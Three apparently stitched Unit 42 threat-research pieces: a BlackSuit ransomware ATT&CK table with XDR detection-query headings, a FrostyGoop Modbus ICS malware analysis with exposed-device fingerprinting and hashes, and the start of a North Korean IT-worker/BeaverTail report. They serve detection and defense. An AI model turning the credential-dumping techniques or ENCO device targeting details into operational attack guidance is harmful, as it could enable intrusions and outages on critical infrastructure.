T1566.004 Initial Access Phishing: Spearphishing Voice Uses vishing with executives
T1566.001 Initial Access Phishing: Spearphishing Attachment Sends phishing emails using malicious attachments
T1564.006 Defense Evasion Hide Artifacts: Run Virtual Instance Uses VirtualBox to create virtual machines
T1562.001 Defense Evasion Impair Defenses: Disable or Modify Tools Vulnerable drivers/loaders used to disable and evade antivirus and EDR solutions
T1558.004 Credential Access Steal or Forge Kerberos Tickets: AS-REP Roasting Uses toolkits such as Rubeus to compromise accounts using AS-REP roasting
T1558.003 Credential Access Steal or Forge Kerberos Tickets: Kerberoasting Uses toolkits such as Rubeus to compromise accounts using Kerberoasting
T1558.002 Credential Access Steal or Forge Kerberos Tickets: Silver Ticket Requests Kerberos service tickets
T1557 Collection, Credential Access Adversary-in-the-Middle Uses Impacket to conduct AitM attacks
T1490 Impact Inhibit System Recovery Deletes shadow copies using a specific vssadmin.exe command
T1486 Impact Data Encrypted for Impact Files are encrypted with the .blacksuit file extension
T1218.010 Defense Evasion System Binary Proxy Execution: Regsvr32 WMIC used to load the ransomware as a library, executing it through regsvr32.exe
T1195.002 Initial Access Supply Chain Compromise: Compromise Software Supply Chain Uses supply chain compromise for initial access
T1189 Initial Access Drive-by Compromise Search engine optimization (SEO) poisoning with GootLoader
T1140 Defense Evasion Deobfuscate/Decode Files or Information Uses stack strings to obfuscate data
T1110 Credential Access Brute Force Conducted brute-force attacks against virtual private network (VPN) gateways not configured with multi-factor authentication (MFA)
T1083 Discovery File and Directory Discovery Enumerates files and encrypts all found
T1078 Defense Evasion, Initial Access, Persistence, Privilege Escalation Valid Accounts Uses legitimate VPN credentials or password dumps
T1071 Command and Control Application Layer Protocol Uses multiple protocols alongside the Cobalt Strike post-exploitation framework
T1059.007 Execution Command and Scripting Interpreter: JavaScript Wscript makes an external connection upon executing a JavaScript file
T1059.001 Execution Command and Scripting Interpreter: PowerShell Uses the default PowerShell string for command execution on a remote host
T1057 Discovery Process Discovery The Windows Restart Manager (rstrtmgr.dll) is used to identify processes using files that would prevent encryption, terminating anything that isn't a critical process
T1048 Exfiltration Exfiltration Over Alternative Protocol Rclone is sometimes renamed to svchost.exe prior to execution and exfiltration over alternative protocols
T1047 Execution Windows Management Instrumentation Impacket framework execution relating to wmiexec; uses WMIC to load the ransomware as a library
T1036 Defense Evasion Masquerading Renaming PE files (e.g., Rclone.exe to 1.exe)
T1027.007 Defense Evasion Obfuscated Files or Information: Dynamic API Resolution Uses dynamic API resolution to conceal functionality
T1021.002 Lateral Movement Remote Services: SMB/Windows Admin Shares Copies the ransomware payload from VMs using PSExec to numerous hosts using SMB
T1021.001 Lateral Movement Remote Services: Remote Desktop Protocol Uses remote desktop protocol (RDP) for lateral movement
T1003.006 Credential Access OS Credential Dumping: DCSync Conducts a DCSync attack for credential access
T1003.003 Credential Access OS Credential Dumping: NTDS Uses ntdsutil.exe to dump Active Directory database
T1003.001 Credential Access OS Credential Dumping: LSASS Memory LSASS dumped via the Task Manager

Table 2. MITRE ATT&CK techniques.

XDR Query Language (XQL) Queries

This section documents relevant TTPs used by Ignoble Scorpius and maps them directly to Palo Alto Networks Cortex XQL queries. These queries detect renamed tools with Cortex XDR.

Like many ransomware actors, Ignoble Scorpius likes to rename their Portable Executable (PEs) files. For example, rather than execute a tool such as Rclone as rclone.exe, the actor might rename it to something else, such as svchost.exe.

In the case mentioned above, a query for action_process_image_name = “rclone.exe” in Cortex XDR’s Query Language (XQL) will fail. However, Cortex XDR can identify these files even if they’ve been renamed.

When a PE is compiled, it often includes a resource called VERSIONINFO. This resource can contain the original file name, the company that produced the software, and more. Though ransomware actors can rename executables, they rarely alter the VERSIONINFO resource.

We can extract the VERSIONINFO from PEs that run on a host using Cortex XDR with the action_process_file_info field in the ENUM.PROCESS filter set, shown in the following XQL query snippet.

Table 3 below highlights data from the VERSIONINFO resource, which is extracted for running processes by the above query.

VERSIONINFO Data Description
original_name The original name of a PE upon compilation
company The company that released the software
description A description of the compiled software
internal_name The internal name of the PE. This is often equal to or very similar to the original_name.
legal_copyright A copyright notification from the releasing company

Table 3. Ignoble Scorpius data extraction.

Once the VERSIONINFO data has been extracted, XQL can then be used to filter on known version info values from executables. The following is an example filter set that will identify renamed versions of Rclone’s default executable, rclone.exe.

Some of the Cortex XDR queries we’ve included in this report use the above method for identifying renamed executables.

1. GootLoader: Wscript Making External Connection

Technique description: The query looks for wscript.exe making external connections upon executing a JavaScript (.js) file, which could be indicative of GootLoader activity. The query restricts results to user-based Downloads or Temp folders, as these are the directories most commonly associated with GootLoader infections.

MITRE ATT&CK TTP ID

  • T1059.007 Execution - Command and Scripting Interpreter: JavaScript

XQL Query

2. Dumping LSASS via Task Manager

Technique description: The query looks for LSASS being dumped via the Task Manager. To identify this activity, we focus on lsass.DMP files being created via the Taskmgr.exe process.

MITRE ATT&CK TTP ID

  • T1003.001 Credential Access - OS Credential Dumping: LSASS Memory

XQL Query

3. Impacket Process Execution

Technique description: The query looks for signs of Impacket framework execution, especially relating to smbexec and wmiexec. It focuses on the default PowerShell string used for command execution on the remote host.

MITRE ATT&CK TTP IDs

  • T1059.001 Execution - Command and Scripting Interpreter: PowerShell
  • T1047 Execution - Windows Management Instrumentation

XQL Query

4. Mimikatz and Rubeus Execution

Technique description: The query looks for signs of Mimiktaz or Rubeus executing within the environment. It takes into account renamed process image files by using PE metadata to identify VERSIONINFO data of executing processes.

MITRE ATT&CK TTP ID

  • T1003.001 Credential Access - OS Credential Dumping: LSASS Memory

XQL Query

5. Active Directory Dumping via NTDSUTIL

Technique description: The query looks for the use of ntdsutil.exe to dump the Active Directory database (NTDS.dit).

MITRE ATT&CK TTP ID

  • Credential Access - T1003.003 OS Credential Dumping: NTDS

XQL Query

6. Cobalt Strike Combined Query

Technique description: The query looks for a combination of identifiers related to the Cobalt Strike post-exploitation framework. Though the tool is used legitimately by pentesting, red teaming and emulation teams alike, threat actors such as BlackSuit also like to use the tool.

MITRE ATT&CK TTP ID

  • T1071 Command and Control - Application Layer Protocol

XQL Query

7. Rclone Exfiltration

Technique description: The query looks for data exfiltration via Rclone, a tool used by BlackSuit to exfiltrate data from victim environments. It takes into account renamed process image files by using PE metadata to identify VERSIONINFO data of executing processes.

MITRE ATT&CK TTP IDs

  • T1567 Exfiltration - Exfiltration Over Web Service

XQL Query

8. Shadow Copy Deletion via VSSADMIN

Technique description: The query looks for deletion of shadow copies using a specific vssadmin.exe command associated with the BlackSuit encryptor.

MITRE ATT&CK TTP IDs

  • T1490 Impact - Inhibit System Recovery

XQL Query

9. BlackSuit Mutex

Technique description: The query looks for the mutex created by the BlackSuit encryptor. This mutex is created and checked upon execution to ensure no more than a single encryptor runs at one time.

MITRE ATT&CK TTP ID

  • T1027 Execution - Obfuscated Files or Information

XQL Query

10. BlackSuit Encrypted Files

Technique description: The query looks for files encrypted with the .blacksuit file suffix, which indicates the BlackSuit encryptor has encrypted the file.

MITRE ATT&CK TTP ID

  • T1486 Impact - Data Encrypted for Impact

XQL Query

11. BlackSuit Ransom Note

Technique description: The query looks for known names of the BlackSuit encryptor’s ransomware notes.

MITRE ATT&CK TTP ID

  • T1486 Impact - Data Encrypted for Impact

XQL Query

FrostyGoop’s Zoom-In: A Closer Look into the Malware Artifacts, Behaviors and Network Communications

Posted on by Asher Davila

Executive Summary

In July 2024, the operational technology (OT)-centric malware FrostyGoop/BUSTLEBERM became publicly known, after attackers used it to disrupt critical infrastructure. The outage occurred after the Cyber Security Situation Center (CSSC), affiliated with the Security Service of Ukraine, disclosed details [PDF] of an attack on a municipal energy company in Ukraine in early 2024.

FrostyGoop is the ninth reported OT-centric malware, but the first that used Modbus TCP communications to impact the power supply to heating services for over 600 apartment buildings. FrostyGoop can be used both within a compromised perimeter and externally if the target device is accessible over the internet. FrostyGoop sends Modbus commands to read or modify data on industrial control systems (ICS) devices, causing damage to the environment where attackers installed it.

Based on this reporting, we conducted a deeper analysis and uncovered new samples of FrostyGoop and other related indicators. These new indicators include configuration files and libraries used by the malware, as well as artifacts associated with an infection. We also investigate network communications and provide new insights based on open-source intelligence (OSINT) data and our own telemetry.

OT malware is an increasing concern of security professionals across the globe, and FrostyGoop provides a notable case study of this growing threat.

Palo Alto Networks customers are better protected from the threats discussed in this article through our products and services such as the following:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics JSON, IoT Security, Russia

Technical Analysis of FrostyGoop

Attackers employed this malware associated with Russian actors in a cyberattack that caused a two-day heating system outage affecting over 600 apartment buildings in Ukraine, during sub-zero temperatures.

According to an open-source report, attackers made the initial compromise through a vulnerability in a MikroTik router. However, we have not confirmed this delivery method and bad actors might instead have delivered the malware via OT devices exposed to the internet.

FrostyGoop makes use of the Modbus TCP protocol to interact directly with ICS/OT devices, and therefore it is considered an ICS-centric malware. This is the ninth known ICS-centric malware.

In addition, Modbus is one of the most common protocols used in critical infrastructure. During this attack, the adversaries dispatched Modbus commands to ENCO control devices, leading to inaccurate measurements and system malfunctions. Remediating these issues took nearly two days.

Although bad actors used the malware to attack ENCO control devices, the malware can attack any other type of device that speaks Modbus TCP. Our telemetry indicates that 1,088,175 Modbus TCP devices were exposed to the internet from Sept. 2-Oct. 2, 2024, and 6,211,623 devices were exposed overall.

The details needed by FrostyGoop to establish a Modbus TCP connection and send Modbus commands to a targeted ICS device can be provided as command-line arguments or included in a separate JSON configuration file.

Malware Samples Analysis

FrostyGoop is compiled using the Go programming language, sometimes referred to as Golang. The malware uses a relatively obscure open-source Modbus implementation.

Further analysis of the Modbus library revealed this implementation does not natively support supplying arguments using a JSON file, making this a strong identifier for the malware. Moreover, the JSON object structure follows a specific format based on the commands this malware supports. FrostyGoop also contains capabilities for logging the output to a console or to a JSON file.

Attackers can supply two types of parameters to FrostyGoop:

  • The first type of parameter consists of the possible operations an attacker can execute toward the registers of a Modbus device
  • The second parameter consists of timing configurations.

Figure 1 shows an example of the first type of parameter for an operation using Tasks and Iplist under the register for main::main.TaskList___runtime.structtype_fields.

Screenshot of a computer screen displaying code in Binary Ninja with highlighted sections and annotations pointing to specific lines, including terms like "main:main.TaskList," "Iplist," and "Tasks.
Figure 1. Binary Ninja showing FrostyGoop operations for Tasks and Iplist under the main::main.TaskList___runtime.structtype_fields register.

Figure 2 shows an example of an operation for Code, Address, Count, Value and State under the register for main::main.TaskList___runtime.structtype_fields.

Screenshot of code in Binary Ninja displaying hex code in blue text on a black background, annotated with labels such as 'Code', 'Count', 'Address', and 'Value' at various points.
Figure 2. Binary Ninja showing FrostyGoop operations for Code, Address, Count, Value and State under the main::main.TaskList___runtime.structtype_fields register.

Figure 3 shows the timing configuration for main.Cycle.getCycleConfig.

Screenshot of a computer code snippet in Binary Ninja featuring functions and variables related to time parsing in a programming environment.
Figure 3. Binary Ninja showing FrostyGoop timing configuration in the registry entry under main.Cycle.getCycleConfig(main.Cycle x,main.Cmd cmd).

FrostyGoop also leverages Goccy’s go-json library, a faster JSON encoder and decoder compatible with the Go programming language standard encoding/json package. In addition, it incorporates a specific open-source execution controller named queues. The relative obscurity of this code means it can serve as another possible indicator of FrostyGoop.

Figure 4 shows our analysis of a Windows executable file for FrostyGoop within the tool Binary Ninja. This analysis reveals URLs from open-source libraries for modbus, go-json and queues.

A table displaying rows of data with columns, presenting various example URLs from GitHub repositories.
Figure 4. Open-source libraries: Modbus, go-json and queues.

Although not all FrostyGoop samples contain the strings shown in Figure 4, other strings contained within those libraries can serve as part of the detection for this malware.

FrostyGoop also implements a debugger evasion technique by checking the BeingDebugged value in Windows' Process Environment Block (PEB). Figure 5 shows this method in the disassembled code from a FrostyGoop sample. This method provides an alternative way to check the PEB's BeingDebugged flag without calling IsDebuggerPresent(). Attackers use this technique to detect and avoid debuggers used by malware analysts.

A screenshot of computer code in a debugging program, showcasing lines of assembly language with specific annotations and highlights; a section is marked by a red arrow pointing to the reference "PEB_BeingDebugged" in the code.
Figure 5. Disassembled code from a FrostyGoop sample showing a check for the PEB's BeingDebugged flag.

Go-encrypt.exe Sample Analysis

Our investigation revealed a Windows executable sample named go-encrypt.exe written in Go that was not FrostyGoop, but it originally appeared on the same approximate date that other indicators of FrostyGoop were reported. Command-line options for this software reveal the file is used to encrypt and decrypt JSON files as illustrated in Figure 6.

Command line interface on a screen showing the usage instructions for 'go-encrypt.exe', including options for encryption, decryption, and specifying input and output files.
Figure 6. Command-line options for go-encrypt.exe.

After executing go-encrypt.exe using the -encrypt argument, it creates two files:

  • An encrypted JSON
  • A 32-byte file containing a decryption key named key

Figure 7 shows the encryption, decryption and the generated key.

A screenshot of a computer terminal displaying file encryption and decryption commands, including execution of "encrypt.exe" and "decrypt.exe" on various files in the 'Downloads' directory under the user 'Asher'. The terminal lists file details.
Figure 7. Using go-encrypt.exe to encrypt and decrypt a JSON file.

Figure 8 shows the content of an encrypted JSON file generated by go-encrypt.exe.

A screenshot displaying the contents of a binary file in a hex editor, showing hexadecimal values alongside the corresponding decoded ASCII text on the right side.
Figure 8. An encrypted JSON file viewed in a hex editor.

Figure 9 shows a filtered list of processes generated by go-encrypt.exe in Process Monitor. We have highlighted when go-encrypt.exe created the decryption file named key and the 32 character content of this key file.

Screenshot of Process Monitor software showing a list of system processes and file operations, with focus on a registry change. A separate file explorer window is open displaying the contents of the Downloads folder. Red arrows point from the process monitor to the Downloads folder, and then to the key folder.
Figure 9. Process Monitor showing go-encrypt.exe generating the key file.

Decompiling go-encrypt.exe revealed it uses the Cipher Feedback (CFB) mode of the AES encryption algorithm to create the encryption/decryption key in the key file as shown in Figures 10 and 11.

Screenshot of computer code in an assembler-like language, displayed in a text editor with line numbers and hexadecimal values, possibly related to encryption functions.
Figure 10. Decompiled code of go-encrypt.exe showing its AES main encryption routine.
Screenshot of a programming IDE displaying code with variables and functions, mainly written in C++. The code contains several if-else statements, function parameters, and returns, highlighting the logic related to cryptographic operations. Various warnings are commented out within the code indicating potential issues or checks omitted during runtime. A red arrow points to line 59.
Figure 11. Decompiled code of go-encrypt.exe showing CFB mode.

As shown previously for the key generated in Figure 7, the key value is in decimal format. The decimal value of the key from Figure 7 is:

  • 71 76 90 67 120 104 86 98 85 97 88 54 88 50 75 77 71 78 116 89 74 66 51 50 75 103 70 117 56 100 117 88

We can decode these decimal numbers into the 32-byte value of the key through a variety of methods, like the Python script shown in Figure 12. This script will convert the binary values to hexadecimal.

Python code snippet in an IDE showing a function named 'to_hex' that converts a list to hexadecimal format.
Figure 12. Example of a Python script to convert the decimal value of the key to hexadecimal.

The 32-byte value of the key in hexadecimal is:

  • 47 4c 5a 43 78 68 56 62 55 61 58 36 58 32 4b 4d 47 4e 74 59 4a 42 33 32 4b 67 46 75 38 64 75 58

According to Go’s documentation for aes.NewCipher, a byte stream of 32 bytes corresponds to a 256-bit AES encryption in CFBmode. We confirmed the 32-byte hexadecimal value of the key from our example matches the ASCII value in the key file using CyberChef as shown below in Figure 13.

Screenshot of a CyberChef application interface showing various operations and windows. The main focus is on a conversion from Hexadecimal to ASCII, with annotations pointing out the hexadecimal value of the key, its conversion to ASCII, and a comparison with a matching ASCII string in a key file.
Figure 13. Using CyberChef to verify the hex value matches the ASCII value of the key file.

Although we cannot confirm go-encrypt.exe was used for the FrostyGoop attack, two circumstances indicate the attackers might have used it during this activity:

  • First, it is used to encrypt and decrypt JSON files, and encrypted JSON files are an essential element of FrostyGoop functionality.
  • Second, go-encrypt.exe first appeared in the wild around the same time as the FrostyGoop samples and the task_test.json file.

Therefore, attackers could have used this piece of software to conceal target information in JSON files for later use to perpetrate attacks.

Investigation of the Targeted Infrastructure

According to the Dragos report on FrostyGoop, they initially discovered this malware in April 2024. This report notes an example of a FrostyGoop configuration file named task_test.json.

Searching VirusTotal, we found one occurrence of task_test.json on Oct. 10, 2023. Pivoting on that file, we discovered Windows executable files that we subsequently identified as FrostyGoop and go-encrypt.exe.

Figure 14 shows the same first-seen date of Oct. 10, 2023, for task_test.json, go-encrypt.exe and the other Windows executable files.

Screenshot displaying a list of file download links, each with a unique alpha-numeric code, file size, number of downloads, and associated icons for different actions such as Export, Tools and more.
Figure 14. Malware samples and task_test.json detection timestamps in VirusTotal.

The data structure of task_test.json and its key/values are the format we would expect to be used as a configuration file by a FrostyGoop executable file. Our analysis of FrostyGoop samples indicates the malware performs read, write and write-multiple Modbus operations. The content of the task_test.json sample depicted in Figure 15 only shows read operations (Code 3).

Screenshot of JSON code data displaying an array called 'Tasks' with details of various entries that include 'Code', 'Count', and 'Value' fields. Some information is redacted.
Figure 15. The content of task_test.json used by a FrostyGoop malware sample.

The IP address contained in this JSON file corresponds to an ENCO control device located in Romania as noted.

Screenshot displaying network security analytics, highlighting an IP address (redacted) and case location in Craiova, Romania with a focus on Enco Therma Enviro Control 1.0. The image includes graphs showing open ports and service activities over several months.
Figure 16. Xpanse query indicating it is an ENCO device in Romania.

Widening our search for exposed ENCO devices, our telemetry revealed 32 IP addresses, all located in either Romania or Ukraine as noted in Figure 17.

Results of our Xpanse search for exposed ENCO devices revealed 32 IP addresses, a;; on Romania or Ukraine. Screenshot of Cortex XPANSE application interface showing search results for exposed ENCO devices in Romania, revealing 32 IP addresses. Red arrows point to the Ukraine IP address separated from the list of Romanian IP addresses.
Figure 17. Xpanse query of IP addresses with exposed ENCO devices.

The ENCO devices we discovered all have TCP port 23 exposed for Telnet. Telnet provides a communications and management interface that is considered obsolete because it has no built-in encryption.

Simply connecting to an exposed ENCO device over Telnet reveals an ENCO banner with a list of available commands as shown below in Figure 18. This provides a reportedly easy method to probe for and identify ENCO programmable logic controller (PLC) devices on the internet.

A screenshot of Enco Telnet Server v1.00 interface with a dark background and green text displaying various available network commands, among others, in a command-line interface format. Some information is redacted.
Figure 18. Telnet banner from an exposed ENCO device.

Figure 19 shows a portion of our Xpanse report covering details of the network services running on the server listed in task_test.json. This matches the exposed ports among the other ENCO exposed devices we discovered:

  • TCP ports 23 (Telnet)
  • 502 (Modbus)
  • 1024 (Router WebUI)
  • 37777 (ENCO connect port)
Bar chart showing the number of open ports from April to September with key details about specific ports, services, and device fingerprints listed in a table below. Notable ports include 23, 502, 1024, and 37777 with associated services shown.
Figure 19. Xpanse report for open ports on.

We can glean further information on the ENCO device by accessing it using a web browser and recording the traffic. Figure 20 shows a login screen shown when accessing the ENCO device from a web browser. By viewing the web traffic in Wireshark and examining the HTTP response headers, we find the router is being used as a web server and the name of the router is TP-LINK Wireless Lite N Router WR740N.

A series of screenshots. The top shows a web browser during a login attempt on a router's web access interface. This is accessing ENCO device from a web browser. The bottom screenshot shows web traffic viewed in Wireshark. It includes the IP address and TCP port for web access of the ENCO device. A red arrow points to the line that acts as a web server for ENCO device web access. Another arrow points to the name of the router for web access.
Figure 20. Information gleaned from accessing an ENCO device over a web browser.

According to the NIST website, versions 1 and 2 of the WR740N router's firmware are susceptible to a command injection vulnerability. However, there is no hard evidence to indicate that the attackers exploited this vulnerability in the July 2024 FrostyGoop attack.

Network Traffic Analysis

To analyze FrostyGoop traffic, we tested two samples using task_test.json as the configuration file. The two FrostyGoop samples have the following SHA256 hashes:

  • 5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb
  • a63ba88ad869085f1625729708ba65e87f5b37d7be9153b3db1a1b0e3fed309c

The task_test.json configuration file only has a function code value of 3, which represents a Modbus command to read the holding registers. Accordingly, the FrostyGoop samples only generated commands to read the holding registers of the targeted device at over TCP port 502.

Figure 21 shows an example of the Modbus traffic generated during our test of the FrostyGoop samples, filtered in Wireshark with a customized column display. It reveals Modbus traffic to over TCP port 502, as well as the four register values specified in the task_test.json configuration file:

  • 53370
  • 53882
  • 53760
  • 54272
Screenshot of a Modbus function code 3 operation in Wireshark software, displaying multiple queries for reading holding registers with detailed timestamps and values.
Figure 21. Example of Modbus traffic from our FrostyGoop sample test filtered in Wireshark.

Figure 22 shows an example of a Modbus function code 3 request to read values from the holding registers of the ENCO device, starting with the register number 53760 for the next 123 registries. The device responded with values from registry 53760-53882. These registry entries hold UINT16 values for unsigned integers that can range from 0-65535.

Two screenshots of Wireshark network analysis tool displaying Modbus protocol information, including data packets and highlighted request details for reading specific register values. On the left an arrow indicates where the Modbus read request of 123 register values starting at register 53760. On the right an arrow indicates the Modbus device responds with the values 123 registers from register 53760 through register 53882.
Figure 22. Modbus interaction with the hardware device.

We reverse engineered the samples to track down their functions. Our analysis revealed that the taskWorker function selects actions performed through the following function parameters:

  • read holding registers (3)
  • write (6)
  • writeMultiple (6)

If the JSON configuration file contains the number 1 as a word count value, only one register is returned. If it does not contain the number 1 as a word count value, more than one register is returned.

Figure 23 shows a code snippet from a FrostyGoop sample with the logic to select Modbus operations depending on the value provided:

  • 3 for read holding registers
  • 6 for write single holding register
  • 16 for write multiple holding registers operation
A screenshot of computer code in an Integrated Development Environment (IDE) with lines of code highlighted in yellow and green, focusing on function definitions and conditional statements.
Figure 23. Code snippet from a FrostyGoop sample showing how it implements Modbus operations.

Conclusion

With cyberattacks against ICS/OT devices and critical infrastructure increasing in recent years, the cybersecurity landscape in these types of environments has become increasingly dangerous. Countries like Ukraine, Romania, Israel, China, Russia and the United States have all been affected by attacks targeting their critical infrastructure. Prior to these incidents, cybersecurity in OT was not considered an essential part of their defensive operations.

The past decade has seen an increase in CS-centric malware, with FrostyGoop being the most recent prominent example. During this time frame, the number of OT and internet of things (IoT) devices exposed to the internet has drastically increased.

An increasing number of OT networks have been connected with IT networks to facilitate facilities management. This has unleashed new ways to perform cyberattacks that can not only damage the cyberspace realm, but also the physical world. Malicious actors can send control commands to field devices easily disguised as regular operations within network traffic, making the activity more difficult to detect and prevent.

For these reasons, we must implement security measures to prevent and mitigate these attacks. Palo Alto Networks customers are better protected from the threats discussed in this blog through the following products:

  • Industrial OT Security is designed to:
    • Use machine learning techniques to detect abnormal network traffic and abnormal behavior in engineering workstations and field devices
    • Raise alerts in the event of a compromised environment, based on anomalous command access
    • Generate alerts based on Modbus operations
    • Implement analytics rules for detection of suspicious traffic including anonymous telnet login, brute-force login attempts, default credentials usage
    • Cover and identify Common Vulnerabilities and Exposures (CVEs) in MikroTik and other common routers
    • Leverage upstream Advanced WildFire and Advanced Threat Prevention detections, along with IoT device detection capabilities, to detect malware command and control communication
    • Detect devices running vulnerable versions of firmware
  • Next-Generation Firewall (NGFW) and Advanced Threat Prevention are designed to:
    • Provide complete visibility and control of the applications in use across all users and devices in all locations all the time
    • Automatically reprogram your firewall with the latest intelligence using inline machine learning as well as the application and threat signatures
    • Implement rules TID 31667 (Modbus read coils) and TID 31668 (Modbus write coils), which allows administrators to identify abnormal devices performing Modbus operations
    • Implement MikroTik CVEs related to prevent remote code execution and command injection vulnerabilities from being exploited within the network
  • Advanced WildFire is designed to:
    • Identify malicious binaries and make verdict determinations when analyzing executing processes
    • Implement detection rules to identify, block and prevent deployment of FrostyGoop/BUSTLEBERM and its variants, as well as other ICS-centric ransomware and malware
  • Cortex Xpanse is designed to:
    • Provide a complete, accurate and continuously updated inventory of all global internet-facing assets, including exposed OT services and devices
    • Enable discovery, evaluation and mitigation of cyberattack surface risks
    • Facilitate evaluation of supplier risk
  • Cortex XDR and XSIAM are designed to:
    • Accurately detect threats with behavioral analytics and reveal the root cause to speed up investigations
    • Better protect against malware discussed in this article through Cortex XDR, including WildFire, Behavioral Threat Protection and the Local Analysis module
  • Unit 42 researchers at Palo Alto Networks are committed to discovering new malware and threats. We share our findings and feed the results back into our products and services, so our customers are better protected.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA256 hash:

  • 5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb
  • File size: 3.7 MB (3,699,200 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • a63ba88ad869085f1625729708ba65e87f5b37d7be9153b3db1a1b0e3fed309c
  • File size: 2.4 MB (2,439,680 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • 2fd9cb69ef30c0d00a61851b2d96350a9be68c7f1f25a31f896082cfbf39559a
  • File size: 3.4 MB (3,359,232 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • c64b67c116044708e282d0d1a8caea2360270a7fc679befa5e28d1ca15f6714c
  • File size: 2.0 MB (1,951,232 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • 91062ed8cc5d92a3235936fb93c1e9181b901ce6fb9d4100cc01167cdc08745f
  • File size: 2.5 MB (2,516,480 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • a25f91b6133cb4eb3ecb3e0598bbab16b80baa40059e623e387a6b1082d6f575
  • File size: 2.5 MB (2,515,968 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for FrostyGoop malware

SHA256 hash:

  • 9cf30d82a86a9485f7bbd0786a5de207cf4902691a3efcfc966248cb1e87d5b7
  • File size: 1.8 MB (1,773,568 bytes)
  • File type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
  • File description: Windows executable file for go-encrypt.exe, likely used during previous FrostyGoop activity

SHA256 hash:

  • 06919e6651820eb7f783cea8f5bc78184f3d437bc9c6cde9bfbe1e38e5c73160
  • File size: 0.4 KB (379 bytes)
  • File type: JSON text data
  • File description: JSON file named task-test.json likely used to test go-encrypt.exe in July 2024 FrostyGoop attack

Additional Resources

Updated Nov. 19, 2024, at 9:00 a.m. PT to align statements with Dragos report.

Updated Nov. 20, 2024, at 10:00 a.m. PT to correct PANW product names.

Updated Nov. 20, 2024, at 10:54 a.m. PT to correct Modbus code.

Updated Dec. 3, 2024, at 10:23 a.m. PT to correct typo.

Fake North Korean IT Worker Linked to BeaverTail Video Conference App Phishing Attack

Posted on by Unit 42

Executive Summary

Unit 42 researchers identified a North Korean IT worker activity cluster that we track as CL-STA-0237. This cluster was involved in recent phishing attacks using malware-infected video conference apps. It likely operates from Laos, using Lao IP addresses and identities.

CL-STA-0237 exploited a U.S.-based, small-and-medium-sized business (SMB) IT services company to apply for other jobs. In 2022, CL-STA-0237 secured a position at a major tech company.

We believe CL-STA-0237 is another cluster of a broader network of North Korean IT workers supporting the nation's illicit activities, including weapons of mass destruction (WMD) and ballistic missile programs. This article highlights the IT workers’ shift from stable income-seeking activities to involvement in more aggressive malware campaigns. Additionally, the article illustrates the global reach of North Korean IT workers.

To address these risks, organizations should perform the following activities:

  • Strengthening their hiring screening processes
  • Implementing robust monitoring to identify insider threats
  • Thoroughly evaluating outsourced services
  • Ensuring that employees do not use corporate machines for personal activities

Palo Alto Networks customers receive better protection from malware discussed in this article through Cortex XDR and XSIAM and Prisma Cloud. Advanced URL Filtering and Advanced DNS Security identify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics North Korea, BeaverTail

Updated Contagious Interview Campaign Tactics

In a previous article, we covered the Contagious Interview campaign where North Korean threat actors posed as fake employers reaching out to IT developers with fictitious job offers and conducted technical interviews. During these interviews, attackers delivered npm (a package manager for the JavaScript programming language) projects with malicious content, which led to BeaverTail malware infections. Attackers then deployed InvisibleFerret malware, which includes additional remote access Trojan (RAT) features.

In addition to the recently published reports from The Object-See Foundation and GROUP-IB on the Contagious Interview campaign’s updated TTPs, Unit 42 has released a new report that highlights the latest developments surrounding the BeaverTail malware. These reports delve into how threat actors set up fake video conferencing websites imitating MiroTalk and FreeConference. Attackers lured targets into downloading conference call installers embedded with BeaverTail malware.

This new approach differs from previous tactics in that malware delivery occurs at the start of the job interview, using installer packages. This method allows attackers to target a broader range of job seekers, rather than only those with npm JavaScript development expertise and specific machine configurations.

Our investigation into this updated campaign led to the identification of the fake North Korean IT worker cluster we are focusing on in this research. This is the second instance where we have observed connections between the Contagious Interview malware campaign and North Korean IT worker activities, also known as the Wagemole campaign. In the Wagemole campaign, North Korean IT workers pose as job seekers, often freelance developers, and they seek remote IT jobs using stolen identities.

Fake North Korean IT Worker CL-STA-0237 Linked to the Phishing Attack

Our internal telemetry identified newly registered domains resolving to a known IP address, 167.88.36[.]13, which is associated with the MiroTalk fake job campaign from July 2024 discussed above. Further investigation revealed that the CL-STA-0237 activity cluster, which registered these domains, used information from a U.S.-based SMB IT services company.

CL-STA-0237 not only exploited the company’s information but also controlled multiple IT infrastructure and management accounts that belonged to the company. CL-STA-0237 listed the company as its employer, citing employment since 2019 in some of its fake resumes. It also managed email accounts that mimicked the company’s owner, using them to apply for other jobs.

We could not fully verify the connections between CL-STA-0237 and the exploited company. Our hypothesis suggests two potential scenarios:

  • CL-STA-0237 stole the company’s access credentials and is now posing as the company to secure new IT jobs or target job seekers with malware infections.
  • CL-STA-0237 was either hired by or had an outsourcing partnership with the IT services company, which allowed it to gain access to the company’s infrastructure.

Fake Resumes Created by the Actor

In the Wagemole campaign, North Korean IT workers commonly managed multiple personas using fake or stolen identities from around the world. Figure 1 shows fake resumes created by CL-STA-0237.

